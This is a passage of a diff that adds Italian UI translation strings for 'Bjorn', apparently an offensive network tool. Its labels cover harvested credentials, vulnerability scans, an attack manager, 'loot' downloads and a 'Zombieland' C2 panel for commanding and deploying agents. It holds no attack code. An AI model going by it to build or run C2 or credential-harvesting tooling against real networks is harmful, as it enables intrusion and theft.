"Lingua", + "settings.general": "Generale", + "settings.toggles": "Opzioni", + "settings.editValue": "Modifica valore", + "settings.addValues": "Aggiungi valori (separati da virgola)...", + "settings.setValue": "Imposta valore...", + "settings.errorLoading": "Errore nel caricamento della configurazione", + "settings.configSaved": "Configurazione salvata", + "settings.errorSaving": "Errore nel salvataggio della configurazione", + "settings.defaultsRestored": "Valori predefiniti ripristinati", + "settings.errorRestoring": "Errore nel ripristino dei valori predefiniti", + "theme.group.colors": "Colori", + "theme.group.surfaces": "Superfici", + "theme.group.layout": "Disposizione", + "theme.token.bg": "Sfondo", + "theme.token.ink": "Colore testo", + "theme.token.accent1": "Accento 1 (Acido)", + "theme.token.accent2": "Accento 2 (Ciano)", + "theme.token.danger": "Pericolo", + "theme.token.warning": "Avviso", + "theme.token.ok": "Successo", + "theme.token.panel": "Pannello", + "theme.token.panel2": "Pannello Alt", + "theme.token.ctrlPanel": "Pannello controllo", + "theme.token.border": "Bordo", + "theme.token.radius": "Raggio bordo", + "theme.advanced": "CSS avanzato", + "theme.applyRaw": "Applica", + "theme.reset": "Ripristina", + "dash.title": "Cruscotto", + "dash.battery": "Batteria", + "dash.internet": "Internet", + "dash.cpu": "CPU", + "dash.ram": "RAM", + "dash.disk": "Disco", + "dash.temp": "Temp", + "dash.uptime": "Uptime", + "dash.hostsAlive": "Host attivi", + "dash.totalHosts": "Totale host", + "dash.openPorts": "Porte aperte", + "dash.credentials": "Credenziali", + "dash.vulnerabilities": "Vulnerabilità", + "dash.actions": "Azioni", + "dash.connected": "Connesso", + "dash.disconnected": "Disconnesso", + "dash.charging": "In carica", + "dash.discharging": "In scarica", + "dash.full": "Carica", + "dash.connectivity": "Connettività", + "dash.liveOps": "Operazioni live", + "dash.tapRefresh": "Tocca per aggiornare", + "dash.wifi": "Wi-Fi", + "dash.ethernet": "Ethernet", + "dash.usb": "USB", + "dash.bluetooth": "Bluetooth", + "dash.mode": "Modalità", + "dash.gps": "GPS", + "dash.age": "Età di Bjorn", + "dash.plugged": "Collegato", + "dash.noBattery": "Nessuna batteria", + "dash.sinceScan": "dall'ultimo scan", + "dash.wifiKnown": "Wi-Fi noti", + "dash.dataFiles": "Dati / File raccolti", + "dash.fileDescriptors": "Descrittori file", + "dash.attackScripts": "Script d'attacco", + "dash.system": "Sistema", + "dash.zombies": "Zombie", + "netkb.title": "Conoscenza di rete", + "netkb.showOffline": "Mostra offline", + "netkb.gridView": "Griglia", + "netkb.listView": "Lista", + "netkb.hostname": "Hostname", + "netkb.ip": "Indirizzo IP", + "netkb.mac": "Indirizzo MAC", + "netkb.vendor": "Produttore", + "netkb.ports": "Porte", + "netkb.essid": "ESSID", + "netkb.lastSeen": "Ultima vista", + "netkb.firstSeen": "Prima vista", + "netkb.online": "In linea", + "netkb.offline": "Non in linea", + "netkb.openPorts": "Porte aperte", + "netkb.noHosts": "Nessun host trovato", + "network.title": "Visualizzazione rete", + "network.tableView": "Tabella", + "network.mapView": "Mappa", + "network.hostname": "Hostname", + "network.ip": "Indirizzo IP", + "network.mac": "MAC", + "network.ports": "Porte", + "network.status": "Stato", + "network.searchPlaceholder": "Cerca host...", + "network.noData": "Nessun dato di rete", + "creds.title": "Credenziali", + "creds.total": "Totale", + "creds.unique": "Uniche", + "creds.types": "Tipi", + "creds.username": "Nome utente", + "creds.password": "Password", + "creds.service": "Servizio", + "creds.host": "Host", + "creds.port": "Porta", + "creds.type": "Tipo", + "creds.timestamp": "Timestamp", + "creds.showPassword": "Mostra password", + "creds.hidePassword": "Nascondi password", + "creds.copyPassword": "Copia", + "creds.exportAll": "Esporta tutto", + "creds.noCredentials": "Nessuna credenziale trovata", + "vulns.title": "Tabellone vulnerabilità", + "vulns.total": "Totale", + "vulns.critical": "Critica", + "vulns.high": "Alta", + "vulns.medium": "Media", + "vulns.low": "Bassa", + "vulns.infoLevel": "Info", + "vulns.host": "Host", + "vulns.port": "Porta", + "vulns.service": "Servizio", + "vulns.severity": "Gravità", + "vulns.description": "Descrizione", + "vulns.cve": "CVE", + "vulns.scanDate": "Data scan", + "vulns.details": "Dettagli", + "vulns.noVulns": "Nessuna vulnerabilità trovata", + "vulns.byHost": "Per host", + "vulns.bySeverity": "Per gravità", + "vulns.byService": "Per servizio", + "attacks.title": "Gestore attacchi", + "attacks.running": "In corso", + "attacks.completed": "Completato", + "attacks.failed": "Fallito", + "attacks.queued": "In coda", + "attacks.start": "Avvia", + "attacks.stop": "Ferma", + "attacks.restart": "Riavvia", + "attacks.status": "Stato", + "attacks.target": "Target", + "attacks.action": "Azione", + "attacks.duration": "Durata", + "attacks.progress": "Progresso", + "attacks.noAttacks": "Nessun attacco in corso", + "sched.title": "Pianificatore azioni", + "sched.pending": "In attesa", + "sched.running": "In corso", + "sched.done": "Fatto", + "sched.failed": "Fallito", + "sched.all": "Tutti", + "sched.searchPlaceholder": "Cerca task...", + "sched.noTasks": "Nessun task trovato", + "sched.stats": "{{running}} in corso / {{pending}} in attesa / {{done}} fatti", + "db.title": "Gestore database", + "db.tables": "Tabelle", + "db.rows": "Righe", + "db.columns": "Colonne", + "db.search": "Cerca tabelle...", + "db.searchRows": "Cerca righe...", + "db.export": "Esporta", + "db.import": "Importa", + "db.addRow": "Aggiungi riga", + "db.deleteRow": "Elimina riga", + "db.deleteSelected": "Elimina selezione", + "db.saveChanges": "Salva", + "db.discardChanges": "Annulla", + "db.confirmDelete": "Confermi eliminazione ?", + "db.noTables": "Nessuna tabella trovata", + "db.noData": "Nessun dato in questa tabella", + "db.hide": "Nascondi", + "db.showSidebar": "Mostra pannello", + "files.title": "Esplora file", + "files.gridView": "Griglia", + "files.listView": "Lista", + "files.size": "Dimensione", + "files.modified": "Modificato", + "files.name": "Nome", + "files.type": "Tipo", + "files.download": "Scarica", + "files.preview": "Anteprima", + "files.noFiles": "Nessun file trovato", + "files.parentDir": "Directory superiore", + "files.searchPlaceholder": "Cerca file...", + "loot.title": "Bottino", + "loot.directories": "Directory", + "loot.totalFiles": "Totale file", + "loot.totalSize": "Dimensione totale", + "loot.download": "Scarica", + "loot.downloadAll": "Scarica tutto", + "loot.noLoot": "Nessun bottino trovato", + "loot.explore": "Esplora", + "actions.title": "Gestore azioni", + "actions.available": "Disponibili", + "actions.enabled": "Abilitate", + "actions.disabled": "Disabilitate", + "actions.category": "Categoria", + "actions.enableAll": "Abilita tutte", + "actions.disableAll": "Disabilita tutte", + "actions.import": "Importa", + "actions.export": "Esporta", + "actions.noActions": "Nessuna azione trovata", + "actions.description": "Descrizione", + "actions.menu.restartService": "Riavvia servizio Bjorn", + "actions.menu.deleteActionStatus": "Elimina tutti gli stati azione", + "actions.menu.clearOutput": "Svuota cartella Output", + "actions.menu.clearLogs": "Cancella i log", + "actions.menu.reloadImages": "Ricarica immagini (sperimentale)", + "actions.menu.reloadFonts": "Ricarica i font", + "actions.menu.reloadActionsJson": "Ricarica JSON azioni", + "actions.menu.initializeCsv": "Inizializza file CSV", + "actions.menu.clearLivestatus": "Elimina file Livestatus", + "actions.menu.refreshActionsFile": "Aggiorna file Azioni", + "actions.menu.clearNetkb": "Svuota conoscenza rete", + "actions.menu.clearSharedConfig": "Elimina JSON configurazione condivisa", + "actions.menu.eraseMemories": "Cancella memoria di Bjorn", + "actions.menu.reboot": "Riavvia sistema", + "actions.menu.shutdown": "Spegni sistema", + "actions.tip.restartService": "Riavvia il servizio Bjorn per rinfrescare lo stato.", + "actions.tip.deleteActionStatus": "Elimina tutti gli stati di successo/fallimento delle azioni in netkb.csv.", + "actions.tip.clearOutput": "Cancella tutti i file nelle cartelle output e sottocartelle.", + "actions.tip.clearLogs": "Elimina tutti i file di log del sistema.", + "actions.tip.reloadImages": "Ricarica le immagini usate dal sistema.", + "actions.tip.reloadFonts": "Ricarica i font dell'applicazione.", + "actions.tip.reloadActionsJson": "Ricarica il file JSON delle azioni generate.", + "actions.tip.initializeCsv": "Ricrea i file CSV e JSON.", + "actions.tip.clearLivestatus": "Elimina il file di stato in tempo reale.", + "actions.tip.refreshActionsFile": "Aggiorna il file delle azioni per includere nuove azioni.", + "actions.tip.clearNetkb": "Elimina tutte le informazioni salvate nella conoscenza di rete.", + "actions.tip.clearSharedConfig": "Elimina il file JSON di configurazione condivisa.", + "actions.tip.eraseMemories": "Cancella completamente la memoria e le impostazioni di Bjorn.", + "actions.tip.reboot": "Riavvia l'intero sistema.", + "actions.tip.shutdown": "Spegne completamente il sistema.", + "actions.confirm.restartRecommended": "Riavvio del servizio consigliato. Riavviare ora ?", + "actions.confirm.restartService": "Riavviare il servizio Bjorn ?", + "actions.confirm.deleteActionStatus": "Eliminare tutti gli stati azione salvati ?", + "actions.confirm.clearOutput": "Svuotare interamente la cartella output ?", + "actions.confirm.clearLogs": "Eliminare tutti i file di log ?", + "actions.confirm.clearNetkb": "Svuotare la conoscenza di rete? Azione irreversibile.", + "actions.confirm.clearLivestatus": "Eliminare il file livestatus ?", + "actions.confirm.refreshActionsFile": "Aggiornare il file delle azioni ?", + "actions.confirm.clearSharedConfig": "Eliminare il JSON di configurazione condivisa? Azione irreversibile.", + "actions.confirm.eraseMemories": "Cancellare memoria e impostazioni di Bjorn? Azione irreversibile.", + "actions.confirm.reboot": "Riavviare l'intero sistema ?", + "actions.confirm.shutdown": "Spegnere il sistema ?", + "actions.msg.restartingService": "Il servizio Bjorn si sta riavviando...", + "actions.msg.restartFailed": "Riavvio del servizio fallito", + "actions.msg.actionStatusDeleted": "Tutti gli stati azione eliminati.", + "actions.msg.outputCleared": "La cartella output è stata svuotata.", + "actions.msg.logsCleared": "I log sono stati cancellati.", + "actions.msg.netkbCleared": "Conoscenza rete svuotata.", + "actions.msg.livestatusDeleted": "File livestatus eliminato.", + "actions.msg.actionsFileRefreshed": "File azioni aggiornato.", + "actions.msg.sharedConfigDeleted": "Il JSON di configurazione condivisa è stato eliminato.", + "actions.msg.memoriesErased": "Memoria di Bjorn cancellata.", + "actions.msg.rebooting": "Il sistema si sta riavviando...", + "actions.msg.shuttingDown": "Il sistema si sta spegnendo...", + "actions.msg.csvInitialized": "I file CSV sono stati inizializzati.", + "actions.msg.actionsJsonReloaded": "Il JSON delle azioni è stato ricaricato.", + "actions.msg.imagesReloaded": "Le immagini sono state ricaricate.", + "actions.msg.fontsReloaded": "I font sono stati ricaricati.", + "actions.msg.unknownAction": "Azione sconosciuta", + "actions.msg.actionFailed": "Azione fallita", + "studio.title": "Studio Azioni", + "studio.palette": "Palette", + "studio.canvas": "Tela", + "studio.inspector": "Ispettore", + "studio.actionsTab": "Azioni", + "studio.hostsTab": "Host", + "studio.globalTab": "Global", + "studio.save": "Salva", + "studio.load": "Carica", + "studio.run": "Esegui", + "studio.clear": "Pulisci", + "studio.addNode": "Aggiungi nodo", + "studio.removeNode": "Rimuovi nodo", + "studio.search": "Cerca azioni...", + "backup.title": "Backup & Agg.", + "backup.backupRestore": "Backup / Ripristino", + "backup.update": "Aggiornamento", + "backup.createBackup": "Crea backup", + "backup.restoreBackup": "Ripristina", + "backup.downloadBackup": "Scarica", + "backup.deleteBackup": "Elimina backup", + "backup.lastBackup": "Ultimo backup", + "backup.checkUpdates": "Controlla aggiornamenti", + "backup.installUpdate": "Installa aggiornamento", + "backup.currentVersion": "Versione attuale", + "backup.latestVersion": "Ultima versione", + "backup.upToDate": "Aggiornato", + "backup.updateAvailable": "Aggiornamento disponibile", + "backup.clearLogs": "Cancella i log", + "backup.noBackups": "Nessun backup trovato", + "backup.restoring": "Ripristino in corso...", + "backup.creating": "Creazione backup...", + "webenum.title": "Enumerazione Web", + "webenum.totalResults": "Totale risultati", + "webenum.uniqueHosts": "Host unici", + "webenum.successCount": "Successi (2xx)", + "webenum.errorCount": "Errori (4xx/5xx)", + "webenum.host": "Host", + "webenum.ip": "IP", + "webenum.port": "Porta", + "webenum.directory": "Directory", + "webenum.status": "Stato", + "webenum.size": "Dimensione", + "webenum.scanDate": "Data scan", + "webenum.link": "Link", + "webenum.exportJson": "Esporta JSON", + "webenum.exportCsv": "Esporta CSV", + "webenum.noResults": "Nessun risultato trovato", + "webenum.details": "Dettagli risultato", + "webenum.openUrl": "Apri URL", + "webenum.copyUrl": "Copia URL", + "webenum.showing": "Mostra {{start}}-{{end}} di {{total}} risultati", + "webenum.itemsPerPage": "Elementi per pagina", + "webenum.refreshData": "Aggiorna dati", + "webenum.responseTime": "Tempo risposta", + "webenum.contentType": "Tipo contenuto", + "webenum.fullUrl": "URL completa", + "zombie.title": "Zombieland C2C", + "zombie.agents": "Agenti", + "zombie.terminal": "Terminal", + "zombie.commands": "Comandi", + "zombie.totalAgents": "Totale agenti", + "zombie.onlineAgents": "In linea", + "zombie.offlineAgents": "Non in linea", + "zombie.idleAgents": "Inattivi", + "zombie.sendCommand": "Invia comando", + "zombie.broadcast": "Broadcast", + "zombie.selectAgent": "Seleziona agente", + "zombie.os": "OS", + "zombie.lastSeen": "Ultima vista", + "zombie.status": "Stato", + "zombie.noAgents": "Nessun agente connesso", + "zombie.quickCommands": "Comandi rapidi", + "zombie.files": "File", + "quick.autoScan": "Auto-scan", + "quick.connectWifi": "Connettiti al WiFi", + "quick.knownNetworks": "Reti note", + "quick.importPotfiles": "Importa Potfile", + "quick.subtitle": "WiFi & Bluetooth", + "quick.pair": "Accoppia", + "quick.trust": "Autorizza", + "quick.forgetDevice": "Dimentica dispositivo", + "quick.forgetDevicePrompt": "Dimenticare {{name}} ?", + "quick.forgetNetworkPrompt": "Sei sicuro di voler dimenticare questa rete ?", + "bjorn.title": "Schermo EPD Bjorn", + "bjorn.epdScreen": "Schermo e-Paper", + "bjorn.refreshInterval": "Intervallo refresh", + "bjorn.autoRefresh": "Refresh auto", + "bjorn.manualRefresh": "Refresh ora", + "bjorn.seconds": "secondi", + "common.search": "Cerca", + "common.filter": "Filtra", + "common.refresh": "Aggiorna", + "common.save": "Salva", + "common.cancel": "Annulla", + "common.delete": "Elimina", + "common.edit": "Modifica", + "common.close": "Chiudi", + "common.loading": "Caricamento...", + "common.noData": "Nessun dato disponibile", + "common.error": "Errore", + "common.success": "Successo", + "common.confirm": "Conferma", + "common.yes": "Sì", + "common.no": "No", + "common.export": "Esporta", + "common.import": "Importa", + "common.download": "Scarica", + "common.upload": "Carica", + "common.copy": "Copia", + "common.start": "Avvia", + "common.stop": "Ferma", + "common.restart": "Riavvia", + "common.status": "Stato", + "common.name": "Nome", + "common.value": "Valore", + "common.type": "Tipo", + "common.host": "Host", + "common.port": "Porta", + "common.target": "Target", + "common.date": "Data", + "common.time": "Ora", + "common.size": "Dimensione", + "common.actions": "Azioni", + "common.details": "Dettagli", + "common.back": "Indietro", + "common.next": "Avanti", + "common.previous": "Precedente", + "common.first": "Primo", + "common.last": "Ultimo", + "common.all": "Tutto", + "common.none": "Nessuno", + "common.showing": "Visualizzazione", + "common.of": "di", + "common.results": "risultati", + "common.items": "elementi", + "common.page": "Pagina", + "common.perPage": "per pagina", + "common.sortBy": "Ordina per", + "common.ascending": "Crescente", + "common.descending": "Decrescente", + "common.view": "Vista", + "common.table": "Tabella", + "common.grid": "Griglia", + "common.list": "Lista", + "common.map": "Mappa", + "common.enabled": "Abilitato", + "common.disabled": "Disabilitato", + "common.on": "On", + "common.off": "Off", + "common.version": "Versione", + "common.hide": "Nascondi", + "common.show": "Mostra", + "common.add": "Aggiungi", + "common.remove": "Rimuovi", + "common.clear": "Pulisci", + "common.reset": "Ripristina", + "common.apply": "Applica", + "common.run": "Esegui", + "common.send": "Invia", + "common.connect": "Connetti", + "common.disconnect": "Disconnetti", + "common.selectAll": "Seleziona tutto", + "common.deselectAll": "Deseleziona tutto", + "common.copied": "Copiato !", + "common.notFound": "Non trovato", + "backup.checkUpdatesHint": "Clicca \"Controlla aggiornamenti\" per visualizzare le versioni.", + "backup.checkingUpdates": "Controllo aggiornamenti...", + "backup.confirmFreshStart": "Confermi Fresh Start ? ", + "backup.createdSuccessfully": "Backup creato con successo.", + "backup.defaultUpdated": "Backup predefinito aggiornato.", + "backup.deleted": "Backup eliminato.", + "backup.descriptionPlaceholder": "Descrizione backup...", + "backup.enterDescription": "Inserisci una descrizione per il backup.", + "backup.failedCheckUpdates": "Impossibile controllare gli aggiornamenti", + "backup.failedCreate": "Creazione backup fallita", + "backup.failedDelete": "Eliminazione backup fallita", + "backup.failedLoadBackups": "Impossibile caricare i backup", + "backup.failedSetDefault": "Impossibile impostare come predefinito", + "backup.freshStart": "Fresh Start", + "backup.freshStartFailed": "Fresh Start fallito", + "backup.freshStartInitiated": "Fresh Start avviato.", + "backup.github": "github", + "backup.keepActions": "Mantieni cartella actions", + "backup.keepConfig": "Mantieni cartella config", + "backup.keepData": "Mantieni cartella data", + "backup.keepResources": "Mantieni cartella resources", + "backup.noBackupsCreateAbove": "Nessun backup trovato. Creane uno sopra.", + "backup.restoreCompleted": "Ripristino completato.", + "backup.restoreOptions": "Opzioni ripristino", + "backup.restorePoint": "punto-di-ripristino", + "backup.selectKeepFolders": "Seleziona le cartelle da mantenere durante l'operazione :", + "backup.setDefault": "Imposta come predefinito", + "backup.unnamedBackup": "Backup senza nome", + "backup.updateInitiated": "Aggiornamento avviato.", + "backup.updateOptions": "Opzioni aggiornamento", + "common.confirmDiscardUnsaved": "Ignorare le modifiche non salvate ?", + "common.confirmQuestion": "Confermi ?", + "common.default": "predefinito", + "common.deleteFailed": "Eliminazione fallita", + "common.deleted": "Eliminato", + "common.description": "Descrizione", + "common.directory": "directory", + "common.duplicate": "Duplica", + "common.exportJson": "Esporta JSON", + "common.failed": "fallito", + "common.file": "file", + "common.importJson": "Importa JSON", + "common.new": "Nuovo", + "common.noMatches": "Nessun risultato", + "common.options": "Opzioni", + "common.processingPleaseWait": "Elaborazione in corso, attendere...", + "common.refreshed": "Aggiornato", + "common.rename": "Rinomina", + "common.saving": "Salvataggio...", + "common.unknown": "sconosciuto", + "common.unsavedChanges": "Modifiche non salvate", + "db.autoRefresh": "Refresh auto", + "db.changesDiscarded": "Modifiche annullate", + "db.changesSaved": "Modifiche salvate", + "db.confirmDrop": "ELIMINARE la tabella \"{{table}}\" ? Azione irreversibile !", + "db.confirmTruncate": "Svuotare tutte le righe di \"{{table}}\" ?", + "db.dangerZone": "Zona di pericolo", + "db.deletingRowsCount": "Eliminazione di {{count}} riga/righe...", + "db.dropFailed": "Eliminazione tabella fallita", + "db.droppedTable": "Tabella {{table}} eliminata", + "db.dropping": "Eliminazione...", + "db.emptyTable": "Tabella vuota", + "db.errorLoadingData": "Errore nel caricamento dei dati", + "db.failedLoadCatalog": "Caricamento catalogo fallito", + "db.failedLoadTable": "Caricamento tabella fallito", + "db.filterTables": "Filtra tabelle...", + "db.insertFailed": "Inserimento fallito", + "db.insertingRow": "Inserimento riga...", + "db.noRowsSelected": "Nessuna riga selezionata", + "db.rowInserted": "Riga inserita", + "db.rowsDeleted": "Righe eliminate", + "db.runningVacuum": "Esecuzione VACUUM...", + "db.saveFailed": "Salvataggio fallito", + "db.selectTableFromSidebar": "Seleziona una tabella dalla barra laterale", + "db.tableDropped": "Tabella eliminata", + "db.tableTruncated": "Tabella svuotata", + "db.truncateFailed": "Svuotamento fallito", + "db.truncating": "Svuotamento...", + "db.vacuumComplete": "VACUUM completato", + "db.vacuumDone": "VACUUM eseguito", + "db.vacuumFailed": "VACUUM fallito", + "files.confirmDelete": "Eliminare {{label}} \"{{name}}\" ?", + "files.downloadFile": "Scarica il file", + "files.duplicateFailed": "Duplicazione fallita", + "files.duplicated": "Duplicato", + "files.emptyDirectory": "Directory vuota", + "files.errorLoading": "Errore nel caricamento file", + "files.failedLoadDir": "Caricamento directory fallito", + "files.filterPlaceholder": "Filtra file...", + "files.itemsCount": "{{count}} elementi", + "files.newNamePrompt": "Nuovo nome :", + "files.noMatch": "Nessun file corrispondente", + "files.openDirectory": "Apri directory", + "files.parent": ".. (superiore)", + "files.renameFailed": "Rinomina fallita", + "files.renamed": "Rinominato", + "files.root": "Root", + "files.uploadComplete": "Caricamento completato", + "files.uploadFailed": "Caricamento fallito", + "files.uploadingCount": "Caricamento di {{count}} file...", + "studio.actionNotFound": "Azione non trovata", + "studio.classNameRequired": "Nome classe richiesto", + "studio.confirmDeleteAction": "Eliminare l'azione \"{{name}}\" ? Azione irreversibile.", + "studio.deletedName": "Eliminato : {{name}}", + "studio.exportedFile": "Esportato : {{name}}", + "studio.filterActions": "Filtra azioni...", + "studio.importFailed": "Importazione fallita", + "studio.importedFile": "Importato : {{name}}", + "studio.loadFailed": "Caricamento fallito", + "studio.loadedFromCacheName": "Caricato dalla cache : {{name}}", + "studio.loadedName": "Caricato : {{name}}", + "studio.newActionCreated": "Nuova azione creata", + "studio.noActionLoaded": "Nessuna azione caricata", + "studio.saveFailedBackedUp": "Salvataggio fallito (backup locale eseguito)", + "studio.savedName": "Salvato : {{name}}", + "studio.setClassBeforeExport": "Definisci una classe prima di esportare", + "zombie.agentRemoved": "Agente {{name}} rimosso", + "zombie.agentsPurged": "{{count}} agenti purgati", + "zombie.allAgents": "Tutti gli agenti", + "zombie.c2StartedOnPort": "Server C2 avviato sulla porta {{port}}", + "zombie.c2Stopped": "Server C2 fermato", + "zombie.clearConsole": "Pulisci console", + "zombie.clearLogs": "Cancella i log", + "zombie.commandBroadcasted": "Comando diffuso", + "zombie.commandSentToAgents": "Comando inviato a {{count}} agenti", + "zombie.confirmPurgeStale": "Purgare tutti gli agenti inattivi da più di 24 ore ?", + "zombie.confirmRemoveAgent": "Rimuovere l'agente {{name}} ?", + "zombie.confirmStopC2": "Fermare il server C2 ?", + "zombie.consoleCleared": "Console pulita", + "zombie.enterC2Port": "Inserisci porta C2 :", + "zombie.enterCommand": "Inserisci comando...", + "zombie.failedPurgeStale": "Purga agenti inattivi fallita", + "zombie.failedRemoveAgent": "Eliminazione agente {{name}} fallita", + "zombie.failedSendCommand": "Invio comando fallito", + "zombie.failedStartC2": "Avvio C2 fallito", + "zombie.failedStopC2": "Arresto C2 fallito", + "zombie.noAgentsConnected": "Nessun agente connesso", + "zombie.noAgentsMatchSearch": "Nessun agente corrisponde alla ricerca", + "zombie.purgeStale": "Purga inattivi", + "zombie.purgeStaleHint": "Purga agenti inattivi >24h", + "zombie.removeAgent": "Rimuovi agente", + "zombie.startC2": "Avvia C2", + "zombie.stopC2": "Ferma C2", + "zombie.systemLogs": "Log sistema", + "zombieland.alive": "Vivo", + "zombieland.c2Status": "Stato C2", + "zombieland.dead": "Morto", + "zombieland.totalAgents": "Totale agenti", + "greeting": "Buongiorno", + "start": "Avvia", + "tick": "Tick", + "common.ip": "IP", + "common.mac": "MAC", + "common.os": "OS", + "zombie.never": "Mai", + "zombie.openInConsole": "Apri in console", + "common.saved": "Salvato", + "attacks.tabs.attacks": "Attacchi", + "attacks.tabs.comments": "Commenti", + "attacks.tabs.images": "Immagini", + "attacks.btn.addAttack": "Aggiungi attacco", + "attacks.btn.removeAttack": "Elimina attacco", + "attacks.btn.deleteAction": "Elimina azione", + "attacks.btn.restoreDefaultsBundle": "Ripristina predefiniti", + "attacks.btn.addSection": "Aggiungi sezione", + "attacks.btn.deleteSection": "Elimina sezione", + "attacks.btn.restoreDefault": "Ripristina predefinito", + "attacks.btn.createCharacter": "Crea personaggio", + "attacks.btn.deleteCharacter": "Elimina personaggio", + "attacks.section.characters": "Personaggio", + "attacks.section.statusImages": "Immagini stato", + "attacks.section.staticImages": "Immagini statiche", + "attacks.section.webImages": "Immagini web", + "attacks.section.actionIcons": "Icone azione", + "attacks.editor.selectAttack": "Seleziona attacco", + "attacks.empty.noAttacks": "Nessun attacco trovato.", + "attacks.empty.noComments": "Nessun commento trovato.", + "attacks.comments.placeholder": "I commenti verranno mostrati qui...", + "attacks.images.enterEditMode": "Attiva modalità modifica", + "attacks.images.exitEditMode": "Esci modalità modifica", + "attacks.images.sortName": "Ordine : nome", + "attacks.images.sortDimensions": "Ordine : dimensioni", + "attacks.images.search": "Cerca immagini...", + "attacks.images.rename": "Rinomina immagine", + "attacks.images.replace": "Sostituisci immagine", + "attacks.images.resizeSelected": "Ridimensiona selezione", + "attacks.images.addCharacters": "Aggiungi immagini personaggio", + "attacks.images.deleteSelected": "Elimina selezione", + "attacks.images.addStatus": "Aggiungi immagine stato", + "attacks.images.addStatic": "Aggiungi immagine statica", + "attacks.images.addWeb": "Aggiungi immagine web", + "attacks.images.addIcon": "Aggiungi icona azione", + "attacks.errors.loadAttacks": "Impossibile caricare gli attacchi.", + "attacks.errors.loadImages": "Impossibile caricare le immagini.", + "attacks.confirm.switchCharacter": "Passare al personaggio \"{{name}}\" ?", + "attacks.confirm.removeAttack": "Eliminare l'attacco \"{{name}}\" ?", + "attacks.confirm.deleteAction": "Eliminare l'azione \"{{name}}\" ?", + "attacks.confirm.restoreAttack": "Ripristinare \"{{name}}\" alle impostazioni predefinite ?", + "attacks.confirm.restoreDefaultsBundle": "Ripristinare TUTTI i valori predefiniti (azioni, immagini, commenti) ?", + "attacks.confirm.deleteCharacter": "Eliminare il personaggio \"{{name}}\" ?", + "attacks.confirm.deleteSection": "Eliminare la sezione \"{{name}}\" ?", + "attacks.confirm.restoreDefaultComments": "Ripristinare i commenti predefiniti ?", + "attacks.confirm.deleteSelectedImages": "Eliminare le immagini selezionate ?", + "attacks.prompt.newCharacterName": "Nome del nuovo personaggio :", + "attacks.prompt.characterToDelete": "Personaggio da eliminare :", + "attacks.prompt.newSectionName": "Nome della nuova sezione :", + "attacks.prompt.newImageName": "Nuovo nome :", + "attacks.prompt.resizeWidth": "Larghezza ridimensionamento :", + "attacks.prompt.resizeHeight": "Altezza ridimensionamento :", + "attacks.toast.characterSwitched": "Personaggio cambiato", + "attacks.toast.attackImported": "Attacco importato", + "attacks.toast.selectAttackFirst": "Seleziona prima un attacco", + "attacks.toast.actionDeleted": "Azione eliminata", + "attacks.toast.defaultsRestored": "Valori predefiniti ripristinati", + "attacks.toast.characterCreated": "Personaggio creato", + "attacks.toast.noDeletableCharacters": "Nessun personaggio eliminabile", + "attacks.toast.characterDeleted": "Personaggio eliminato", + "attacks.toast.commentsRestored": "Commenti ripristinati", + "attacks.toast.selectSectionFirst": "Seleziona prima una sezione", + "attacks.toast.commentsSaved": "Commenti salvati", + "attacks.toast.selectExactlyOneImage": "Seleziona esattamente un'immagine", + "attacks.toast.selectAtLeastOneImage": "Seleziona almeno un'immagine", + "attacks.toast.imagesResized": "Immagini ridimensionate", + "attacks.toast.characterImagesUploaded": "Immagini personaggio caricate", + "attacks.toast.selectStatusActionFirst": "Seleziona prima un'azione di stato", + "actions.toast.presetApplied": "Preset applicato", + "actions.toast.startingAction": "Avvio di {{name}}...", + "actions.toast.actionStarted": "Azione avviata", + "actions.toast.stoppedByUser": "Fermato dall'utente", + "actions.toast.actionStopped": "Azione fermata", + "actions.toast.stopFailed": "Arresto fallito", + "actions.toast.failedToStop": "Impossibile fermare", + "actions.toast.consoleCleared": "Console pulita", + "actions.toast.noLogsToExport": "Nessun log da esportare", + "actions.toast.logsExported": "Log esportati", + "netkb.confirmRemoveAction": "Eliminare l'azione \"{{action}}\" per l'IP \"{{ip}}\" ?", + "netkb.actionRemoved": "Azione rimossa", + "actions.running": "In corso", + "attacks.btn.syncMissing": "Sincronizza elementi mancanti", + "attacks.images.gridDensity": "Densità griglia", + "attacks.images.density": "Densità", + "attacks.sync.defaultComment": "Aggiungi un commento per questa azione", + "attacks.sync.none": "Nessun attacco da sincronizzare.", + "attacks.sync.done": "Sincronizzazione completata. Nuovi commenti : {{comments}}, immagini stato : {{status}}, immagini personaggio : {{characters}}.", + "attacks.sync.failed": "Sincronizzazione elementi mancanti fallita", + "actions.args.free": "Argomenti liberi", + "actions.args.none": "Nessun argomento configurabile", + "actions.args.subtitle": "Generati auto dalle definizioni", + "actions.args.title": "Argomenti", + "actions.assign": "Assegna", + "actions.emptyPane": "Nessuna azione selezionata", + "actions.logs.completed": "Fatto", + "actions.logs.empty": "Nessun log per ora", + "actions.logs.waiting": "In attesa...", + "actions.searchPlaceholder": "Cerca azioni...", + "actions.tabs.actions": "Azioni", + "actions.tabs.arguments": "Argomenti", + "actions.toast.selectActionFirst": "Seleziona prima un'azione", + "common.move": "Sposta", + "common.ready": "Pronto", + "common.menu": "Menu", + "common.browse": "Sfoglia...", + "common.platform": "Piattaforma", + "common.generate": "Genera", + "common.vendor": "Produttore", + "common.hostname": "Hostname", + "common.ports": "Porte", + "zombie.generateClient": "Genera client", + "zombie.checkStale": "Controlla inattivi", + "zombie.selectedAgents": "agenti selezionati", + "zombie.clientId": "ID Client", + "zombie.labCreds": "Credenziali Lab", + "zombie.deployOptions": "Opzioni deploy", + "zombie.deployViaSSH": "Deploy via SSH", + "zombie.fileBrowser": "File Browser", + "dash.lastUpdate": "Ultimo aggiornamento", + "netkb.searchPlaceholder": "Cerca host, IP, produttore, porta...", + "netkb.searchHint": "Tip : scrivi 'port:80' o 'vendor:intel'", + "files.dropzoneHint": "Trascina file qui o clicca per caricare", + "files.moveToTitle": "Sposta in...", + "files.selectDestinationFolder": "Seleziona cartella destinazione", + "attacks.sidebar.management": "Gestione", + "sched.upcoming": "In arrivo", + "sched.success": "Successo", + "sched.cancelled": "Annullato", + "sched.history": "Cronologia", + "sched.historyMsg": "Log cronologia", + "creds.searchPlaceholder": "Cerca servizi, utenti...", + "creds.uniqueHosts": "Host unici", + "creds.totalCredentials": "Totale credenziali", + "console.maxReconnect": "Console : raggiunto il massimo numero di tentativi di riconnessione", + "console.scrollToBottom": "Scorri fino in fondo", + "console.manual": "Manuale", + "console.auto": "Auto", + "console.turnOnAuto": "Attiva modalità Auto", + "console.turnOnManual": "Attiva modalità Manuale", + "console.noTarget": "Nessun target", + "console.noAction": "Nessuna azione", + "console.scanStarted": 